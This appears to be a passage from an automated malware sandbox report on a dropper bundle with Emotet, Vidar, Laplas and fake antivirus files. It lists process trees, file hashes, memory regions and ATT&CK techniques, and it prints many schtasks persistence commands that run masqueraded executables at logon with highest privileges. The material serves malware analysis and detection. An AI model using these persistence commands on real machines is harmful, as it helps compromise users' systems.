      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\laplas\Setup.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4544
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
    1⤵
      PID:2316
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
      1⤵
        PID:2740
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "antivirus-platinuma" /sc MINUTE /mo 14 /tr "'C:\Windows\security\EDP\Logs\antivirus-platinum.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5376
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "antivirus-platinum" /sc ONLOGON /tr "'C:\Windows\security\EDP\Logs\antivirus-platinum.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4988
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "antivirus-platinuma" /sc MINUTE /mo 14 /tr "'C:\Windows\security\EDP\Logs\antivirus-platinum.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5236
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\sihost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5168
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\sihost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4132
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Media Player\sihost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:536
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2868
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3888
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4480
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5272
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:6128
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3608
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Program Files\dotnet\swidtag\dwm.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5476
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\dotnet\swidtag\dwm.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1444
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Program Files\dotnet\swidtag\dwm.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2812
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "InstallI" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\Install.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5648
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Install" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\Install.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3460
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "InstallI" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\Install.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3400
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\sysmon.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5440
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\sysmon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3340
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\sysmon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3936
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Panther\conhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2168
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Panther\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2344
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Panther\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3512
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1412
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4996
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\winsessionnet\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4780
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4824
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2340
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4568
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Music\RuntimeBroker.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1732
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Music\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5940
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Music\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5936
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\smss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3456
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\smss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2464
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\smss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4652
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:3200

        Network

        MITRE ATT&CK Enterprise v15

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Pre-OS Boot

        1
        T1542

        Bootkit

        1
        T1542.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Hide Artifacts

        1
        T1564

        Hidden Files and Directories

        1
        T1564.001

        Impair Defenses

        2
        T1562

        Disable or Modify Tools

        2
        T1562.001

        Modify Registry

        6
        T1112

        Pre-OS Boot

        1
        T1542

        Bootkit

        1
        T1542.003

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        3
        T1012

        System Information Discovery

        2
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Web Service

        1
        T1102

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe
          Filesize

          7.3MB

          MD5

          b13f9d8e3d5c88f0ddad896d7fe33a88

          SHA1

          e6d7dd65a85a4f97baa56ae8eb810918ff4d84fd

          SHA256

          6d6bd6a03387c3f3900b4b5fc1264c73b362698bf42b668b99d0e9b65f1d7663

          SHA512

          3319c68b7eebe4fe5d4e385cd91226c827668d87751c5b94a2f1aac24b588e83390a349185fc9d430d1eea2e356fbcaa6543b4a5f8e25d875da7deec30c56164

          Download Submit

        • C:\Program Files (x86)\Windows Media Player\sihost.exe
          Filesize

          1.3MB

          MD5

          ad823965fda5d6901ab6a2bc0e153cee

          SHA1

          7ebaec14300ef03501785e9bc1637963ebbc49b0

          SHA256

          2c9a19274f314a4f2f728c51dc117196f7c176c6952275e3ba58184a2d6a95d9

          SHA512

          1c8897f5abbed300029c229b52c5fefd4ec1731cf71b1463f2a81ee085ea0190d766684b2c3057eb0fa6ddedfe97aae9c6c940bb8cdd90c226c02b406c42f9b9

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\7z.dll
          Filesize

          1.2MB

          MD5

          cd479d111eee1dbd85870e1c7477ad4c

          SHA1

          01ff945138480705d5934c766906b2c7c1a32b72

          SHA256

          367f8d1bfcf90ae86c0c33b0c8c9e6ec1c433c353d0663ebb44567607402c83d

          SHA512

          8b801bfbb933e0dc77090555fa258d416cbe9ed780fb1821aed532a979617082b29e0b6f8fb85f73a9e93c98981426c92c498a41c49f823707da3e6b7bb30128

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip
          Filesize

          699KB

          MD5

          ff84853a0f564152bd0b98d3fa63e695

          SHA1

          47d628d279de8a0d47534f93fa5b046bb7f4c991

          SHA256

          3aaa9e8ea7c213575fd3ac4ec004629b4ede0de06e243f6aad3cf2403e65d3f2

          SHA512

          9ea41fe0652832e25fe558c6d97e9f9f85ccd8a5f4d00dbcc1525a20a953fbd76efb64d69ce0fdd53c2747159d68fcb4ac0fa340e0253b5401aebc7fb3774feb

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip
          Filesize

          794KB

          MD5

          ab1187f7c6ac5a5d9c45020c8b7492fe

          SHA1

          0d765ed785ac662ac13fb9428840911fb0cb3c8f

          SHA256

          8203f1de1fa5ab346580681f6a4c405930d66e391fc8d2da665ac515fd9c430a

          SHA512

          bbc6594001a2802ed654fe730211c75178b0910c2d1e657399de75a95e9ce28a87b38611e30642baeae6e110825599e182d40f8e940156607a40f4baa8aeddf2

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip
          Filesize

          289KB

          MD5

          ebe6bc9eab807cdd910976a341bc070d

          SHA1

          1052700b1945bb1754f3cadad669fc4a99f5607b

          SHA256

          b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7

          SHA512

          9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\FF8E.tmp\302746537.bat
          Filesize

          348B

          MD5

          7d8beb22dfcfacbbc2609f88a41c1458

          SHA1

          52ec2b10489736b963d39a9f84b66bafbf15685f

          SHA256

          4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2

          SHA512

          a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip
          Filesize

          1.0MB

          MD5

          7958e5251e5e6f9c3b7752ff1543e28a

          SHA1

          86f6a8439ce6a6b30e6347c5bde7e091e5fad0ac

          SHA256

          b31c3f9d08337314050552a7dfdceaf42bb6d22baee287cde6238a6d965d87cd

          SHA512

          aec50b136792aebbd5aa8e5d316c39b728ff28e411dd54db99a18d5c7b9447f25629c4220800ee8dd8cd2b24a98a11d46f32b45a62bda5135c2ff0a731e032ee

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00x0qsh0.ms5.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\dc.zip
          Filesize

          1.0MB

          MD5

          98ec05a414d61fbda2bebf65ee8a28ab

          SHA1

          472b24c2bc4600ab0b83b0344ef2e543e6635a79

          SHA256

          d62f7aa61599d5366964c419c7c2afd364e61753d1d7ba6888ae51bb65555cbd

          SHA512

          0773dd9151d15f989912403df1b8754884b8a802500fca307d7675f5ad78774477cf671785d0603adafa408f91258fb1d7be4b6761a117f02714e305374f9f14

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\eternity.zip
          Filesize

          1.2MB

          MD5

          a68f97544c9b41270008b8bf68992a75

          SHA1

          a1ccc56eca977792cf7a751dff4ebf1f8afe8591

          SHA256

          eae2bbca8b001849a03bad0b21d9e876c1931685ce37876e08a9dc77e022bfad

          SHA512

          9bb6e21c98dada07b3c0d0c7f6addaf9d043441282fc5df4c5f348fffac047e5e662ef92a9f9df617cab79e1abbbb8648a4a3a32c1f2044aebf278fcdbdf68b3

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\is-QKJCU.tmp\is-J9A8C.tmp
          Filesize

          661KB

          MD5

          19672882daf21174647509b74a406a8c

          SHA1

          e3313b8741bd9bbe212fe53fcc55b342af5ae849

          SHA256

          34e6fea583cf1f995cf24e841da2060e0777405ac228094722f17f2e337ccea8

          SHA512

          eceddd4f1bbaf84dde72642f022b86033ba5a8b5105c573adcc49946d172e26e2512edce6f99e78dd3a2b0f8a23fa6138cca995a824e5f53a6ba925de434fa8f

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\laplas.zip
          Filesize

          643KB

          MD5

          5c2ed2918e16a5391a075cac5ea253f8

          SHA1

          65b69a1fbc7c7192ba16d3d82bbc5311b34ee6c6

          SHA256

          ff505670ae62fd1bfca0bf10d8cfb7874e3f5d5c823f5c8acf9e796cda5a1943

          SHA512

          f1a75b9246810613b1862c357d313ef1a681e60992a24d597380b5bcdb7e302918c3e74a7739428573e015cccf1672b789277169fee8f0db91c2f207f66189ec

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\socelars.zip
          Filesize

          5.2MB

          MD5

          ccaf8b6a14e94e5163c55b0b84a6a97c

          SHA1

          47c67a525e642808a1ce9a6ce632bc1e1fd3dfae

          SHA256

          966b5aa687ca823f72ed6054802e3347908fe1ace10336e682d96d5d66db68ae

          SHA512

          e82c8dd091dec5cb4e522296784c8e586a186af10598b6ad9f9feaa996c0898bb6988f602e8a32741a24bcb9f4c11e07d806e3323a46aeaafaee93b7cc1756c7

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
          Filesize

          335KB

          MD5

          76a0b06f3cc4a124682d24e129f5029b

          SHA1

          404e21ebbaa29cae6a259c0f7cb80b8d03c9e4c0

          SHA256

          3092f736f9f4fc0ecc00a4d27774f9e09b6f1d6eee8acc1b45667fe1808646a6

          SHA512

          536fdb61cbcd66323051becf02772f6f47b41a4959a73fa27bf88fe85d17f44694e1f2d51c432382132549d54bd70da6ffe33ad3d041b66771302cc26673aec7

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
          Filesize

          565KB

          MD5

          54075ad554d012f139b7d2ea7ccb7e72

          SHA1

          54a7ffaf3658addbec2c945a9aeec14d8f5c3e79

          SHA256

          c82c78bb017655f5d67e1780b4471f6aee04fd7f5ce85f500f9bdee7f21221ba

          SHA512

          cf82d19fef31bda96427096124a2843123649a69ce25a64e12d2b14a1c901b953bdf3e0d2101944f09976e3b248fbfb1dd07df4999d68c83acaab440b2159798

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
          Filesize

          739KB

          MD5

          382430dd7eae8945921b7feab37ed36b

          SHA1

          c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128

          SHA256

          70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b

          SHA512

          26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
          Filesize

          816KB

          MD5

          7dfbfba1e4e64a946cb096bfc937fbad

          SHA1

          9180d2ce387314cd4a794d148ea6b14084c61e1b

          SHA256

          312f082ea8f64609d30ff62b11f564107bf7a4ec9e95944dfd3da57c6cdb4e94

          SHA512

          f47b05b9c294688811dd72d17f815cce6c90f96d78f6835804d5182e2f4bfbd2d6738de854b8a79dea6345f9372ba76a36920e51e6cb556ef4b38b620e887eb4

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
          Filesize

          1.0MB

          MD5

          0002dddba512e20c3f82aaab8bad8b4d

          SHA1

          493286b108822ba636cc0e53b8259e4f06ecf900

          SHA256

          2d68fe191ba9e97f57f07f7bd116e53800b983d267da99bf0a6e6624dd7e5cf7

          SHA512

          497954400ab463eb254abe895648c208a1cc951ecb231202362dadbe3ffb49d8d853b487589ce935c1dc8171f56d0df95093ffc655c684faa944c13bcfd87b8b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe
          Filesize

          1.6MB

          MD5

          b4bb269011c062cb169969258ab0e1b9

          SHA1

          6f17b1266eabfad46eee405f8245c604468a52c5

          SHA256

          bd1d4e5e6380d4e4c398b3bd1f3bfc20ffa576c004773b1f637fd272b771c125

          SHA512

          e89088f16658ac3d5d69808080b47638a4f5d699ac3569cc88b07e3a8f4666e89e570cfb4512c161e8ccf9b5537e7ea281fc440b06b7484af33b94f55ecacd43

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
          Filesize

          5.4MB

          MD5

          3c23db5eff4d85d8ff9addb170e32d53

          SHA1

          1f109f5b9b17a71e4ef7e200fccab72b21836017

          SHA256

          c2c694174fbf54aa19e05636589ac4eaf81d6b342c96be869bf57da18b930d98

          SHA512

          ad428facaddaba14acc1979ad6d93c4f665f58b4c9d14b28f2c0c1818290abe9dbbbd4e1c464bd8d38caebb101d6e4e85cf85fdaf423a0f3f5d0d134d8953f69

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe
          Filesize

          1.3MB

          MD5

          4a9ffb6962544b4dd55ce6ff568810b7

          SHA1

          a04a58215250d0bbe79fd946e6f5a73e8be27133

          SHA256

          8102f6139e928e1e844e7625f41bfa2b65f6ba05e95c43f1ecb329d72a91592b

          SHA512

          5b7e84b8a49200960a5312a373ef6245c2d997b5e3b9a761cb15a83ffe2edf9dc860c1bcd7ebb9eb7cd774c6f1364d505016446f713acfdfb682bb01c148053b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll
          Filesize

          534KB

          MD5

          56bb8500d7ab6860760eddd7a55e9456

          SHA1

          e9b38c5fb51ce1a038f65c1620115a9bba1e383d

          SHA256

          b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59

          SHA512

          83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
          Filesize

          2.7MB

          MD5

          ff461f6e26216dea2575082406f0be8a

          SHA1

          5f53eb73469d2770308c248b3379c67cdb731f26

          SHA256

          65046cfd956eb010ea8b5a530e0655cacaa183053ac15dd05003dc0e55904b79

          SHA512

          b6fbd71229e063433794ab99acd410ec9047f8f504450f19b2b19327bf189da8862c7052df91f97cfe598a03ef4aabe123af8ad378f74294298fcb512dba50d1

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\vidar.zip
          Filesize

          1.2MB

          MD5

          61c89dc8b55c3e28b67e9f086c5930fb

          SHA1

          3098b3aa47e0180d3c68e5004ea53241ab59e2c7

          SHA256

          f419cea0dc3b585499f65ff8bdfa33f0a673361d09d1bb81411303fabf5aac1e

          SHA512

          b08d4c8fca98fdfdedd516ca3f870873441cbca72422bc0f3a53205ecd499f08436e42716a54a8b14b6dd8cb236852548aadc9f9a7f8e82d282caf40e42b8dc1

          Download Submit

        • C:\Windows\302746537.exe
          Filesize

          22KB

          MD5

          8703ff2e53c6fd3bc91294ef9204baca

          SHA1

          3dbb8f7f5dfe6b235486ab867a2844b1c2143733

          SHA256

          3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035

          SHA512

          d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

          Download Submit

        • C:\winsessionnet\qmazbV2JlRldI.vbe
          Filesize

          207B

          MD5

          c976abe88c50259f846e4a7f9219c0e4

          SHA1

          0b8221670e970136114bfa60e95226cdfeda740e

          SHA256

          c912de4503819861b8f5053c4da777a73279aba052f9d4710cdb9facd62304d7

          SHA512

          e0fe8084c80f37e57b86fc3110f72acaec2e81dedf6a90488960891c2bd8d30728ec7ad763b7e8be299e56becfdbce93c08004efbe9eab92f9808f6109675715

          Download Submit

        • \??\c:\windows\comctl32.ocx
          Filesize

          595KB

          MD5

          821511549e2aaf29889c7b812674d59b

          SHA1

          3b2fd80f634a3d62277e0508bedca9aae0c5a0d6

          SHA256

          f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4

          SHA512

          8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

          Download Submit

        • \??\c:\windows\mscomctl.ocx
          Filesize

          1.0MB

          MD5

          714cf24fc19a20ae0dc701b48ded2cf6

          SHA1

          d904d2fa7639c38ffb6e69f1ef779ca1001b8c18

          SHA256

          09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712

          SHA512

          d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

          Download Submit

        • memory/860-194-0x0000000000400000-0x0000000000410000-memory.dmp

          Filesize

          64KB

          Download

        • memory/860-170-0x0000000000400000-0x0000000000410000-memory.dmp

          Filesize

          64KB

          Download

        • memory/1004-151-0x0000000000CC0000-0x0000000001704000-memory.dmp

          Filesize

          10.3MB

          Download

        • memory/1004-146-0x0000000001C30000-0x0000000001C31000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1004-145-0x0000000001C20000-0x0000000001C21000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1004-147-0x0000000001C40000-0x0000000001C41000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1004-148-0x0000000003AA0000-0x0000000003AA1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1004-150-0x0000000003AC0000-0x0000000003AC1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1004-149-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1072-15-0x0000000000800000-0x0000000000A26000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/1072-462-0x0000000000800000-0x0000000000A26000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/1960-278-0x0000020F587E0000-0x0000020F58802000-memory.dmp

          Filesize

          136KB

          Download

        • memory/1960-398-0x0000020F589D0000-0x0000020F58B1F000-memory.dmp

          Filesize

          1.3MB

          Download

        • memory/2152-412-0x00000248F38D0000-0x00000248F3A1F000-memory.dmp

          Filesize

          1.3MB

          Download

        • memory/2172-274-0x0000000000400000-0x00000000006CB000-memory.dmp

          Filesize

          2.8MB

          Download

        • memory/2180-416-0x000001E37CCC0000-0x000001E37CE0F000-memory.dmp

          Filesize

          1.3MB

          Download

        • memory/2280-403-0x000001A8BEB10000-0x000001A8BEC5F000-memory.dmp

          Filesize

          1.3MB

          Download

        • memory/2436-411-0x000001D8BD340000-0x000001D8BD48F000-memory.dmp

          Filesize

          1.3MB

          Download

        • memory/2484-190-0x0000000000400000-0x000000000040D000-memory.dmp

          Filesize

          52KB

          Download

        • memory/2484-419-0x0000000000400000-0x000000000040D000-memory.dmp

          Filesize

          52KB

          Download

        • memory/2728-179-0x0000000180000000-0x000000018008C000-memory.dmp

          Filesize

          560KB

          Download

        • memory/2728-130-0x0000000002B70000-0x0000000002BA0000-memory.dmp

          Filesize

          192KB

          Download

        • memory/2924-464-0x0000000000400000-0x0000000000A06000-memory.dmp

          Filesize

          6.0MB

          Download

        • memory/2924-421-0x0000000000400000-0x0000000000A06000-memory.dmp

          Filesize

          6.0MB

          Download

        • memory/2924-475-0x0000000000400000-0x0000000000A06000-memory.dmp

          Filesize

          6.0MB

          Download

        • memory/2924-478-0x0000000000400000-0x0000000000A06000-memory.dmp

          Filesize

          6.0MB

          Download

